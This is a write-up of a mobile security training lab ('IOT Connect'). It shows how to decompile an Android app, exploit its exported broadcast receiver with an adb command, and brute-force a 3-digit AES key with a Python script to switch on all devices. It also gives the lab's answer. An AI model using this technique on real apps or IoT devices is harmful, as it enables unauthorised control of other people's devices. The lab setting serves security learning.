Mobile Hacking Lab - IOT Connect Writeup

Hello, in today’s writeup, I will walk you through IOT Connect lab MobileHackingLab.
In this lab we will explore how to analyze an Android Broadcast Receiver and try to exploit it to activate the master switch, which can turn on all connected devices.
To understand what a Broadcast Receiver is in more detail, you can explore it in the Android Component tutorial.
So, let’s start by downloading the .apk and running it in an Android emulator to get an overview of how the application works at runtime.
As usual, let’s download and run the application in an Android emulator to explore it at runtime.
We can see that it contains signup and login features, so let’s create an account and log in.


There is a note which tells us that we are in guest mode and don’t have control over all devices. We can see that we have two features: one for setting up devices and one for the master switch.

If we click on Setup, we can see some devices and switch buttons (on/off).

All devices can be controlled by guest expect the speaker.

If we click on Master Switch, we can see that we need to enter a valid 3-digit PIN.

We need to analyze the app source code using JADX-GUI to obtain more details about the flow of the application.
In the AndroidManifest.xml file, we can see some activities and one receiver related to MasterReceiver.

I checked SignupActivity, LoginActivity, MainActivity, and HomeActivity and found that they contain code related to the UI, which is not relevant to our analysis.
Since the challenge is related to the broadcast receiver, let’s move to MasterSwitchActivity:

We can see in the above image that it checks whether the user is guest. It takes the PIN value, creates a new intent with that value, then sends the broadcast to any activity that can receive it.
Let’s see how the broadcast receiver is handled. To locate it, we need to search for the onReceive function in the source code.
If you click on
MasterReceiverfromAndroidManifest, it will not work. Instead, search foronReceiveusing the search bar and check for our package namecom.mobilehackinglab.iotconnect.


We can see that the implementation is in the CommunicationManager activity, not MasterReceiver, so it’s better to search using the search bar rather than checking each activity one by one.
CommunicationManager Analysis:
- Checks that the received intent is not null and that the action is
MASTER_ON. - Fetches the value of the PIN and puts it into the
keyvariable. - Passes the key to the
check_key()function. - If
check_key()returns true, it turns all devices on; otherwise, it returnsWrong PIN!!.
Let’s look at Checker:

Checker Analysis:
- The
check_keyfunction verifies whether the returned value ofdecrypt(ds, key)is equal tomaster_on, so we know that the final decrypted text should bemaster_on. - The
decrypt()function performs AES decryption using the key value to decrypt thedsvariable (see line 6).
Now, our approach to solve the lab is to send the broadcast from an external application with a valid PIN code to open all devices.
We can send a broadcast using: adb shell am broadcast -a MASTER_ON --ei key 123

-a for action.
-ei for parameter.
We need to brute-force the PIN, since we have the encrypted value, the decryption methods, and the expected result of the decryption.
So, we can use ChatGPT to generate the following script:
#!/usr/bin/env python3
# brute_aes_pin.py
# Tries PINs 000-999 to decrypt ds = "OSnaALIWUkpOziVAMycaZQ=="
# Matches Java behavior: key bytes = String.valueOf(int).getBytes(UTF-8), copied into 16-byte array.
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
DS = "OSnaALIWUkpOziVAMycaZQ=="
BLOCK_SIZE = 16
def make_key_bytes_from_string(s: str) -> bytes:
"""
Replicates Java code:
byte[] keyBytes = new byte[16];
byte[] staticKeyBytes = String.valueOf(staticKey).getBytes(Charsets.UTF_8);
System.arraycopy(staticKeyBytes, 0, keyBytes, 0, Math.min(staticKeyBytes.length, keyBytes.length));
"""
b = s.encode('utf-8')
if len(b) >= 16:
return b[:16]
return b + b'\x00' * (16 - len(b))
def try_decrypt_with_key_bytes(key_bytes: bytes, ciphertext_b64: str) -> str | None:
try:
cipher = AES.new(key_bytes, AES.MODE_ECB)
ct = base64.b64decode(ciphertext_b64)
pt_padded = cipher.decrypt(ct)
# PKCS5Padding is same as PKCS7 for 16-byte block
pt = unpad(pt_padded, BLOCK_SIZE)
return pt.decode('utf-8', errors='strict')
except (ValueError, UnicodeDecodeError):
# ValueError: bad padding or unpad failure
# UnicodeDecodeError: decoded bytes not valid utf-8
return None
def main():
ciphertext = DS
tried = set()
for i in range(0, 1000):
# two candidate string representations:
candidates = [str(i), f"{i:03d}"]
for s in candidates:
if s in tried:
continue
tried.add(s)
key_bytes = make_key_bytes_from_string(s)
plaintext = try_decrypt_with_key_bytes(key_bytes, ciphertext)
if plaintext is not None:
if plaintext == "master_on":
print(f"[+] Found! PIN string used to generate key: '{s}' (interpreted from integer)")
print(f"[+] PIN integer value (no leading zeros): {int(s)}")
print(f"[+] Plaintext: {plaintext}")
return
else:
# uncomment if you want to see other successful decrypts (rare)
# print(f"[i] PIN '{s}' decrypted to: {plaintext!r} (not match)")
pass
print("[-] No valid PIN found in 000-999 (tried both 'n' and zero-padded 'nnn' forms).")
if __name__ == "__main__":
main()
We can see that the valid PIN is 345:

Finally, we send the broadcast from an external app such as adb with the MASTER_ON action and the 345 key to turn all devices on.



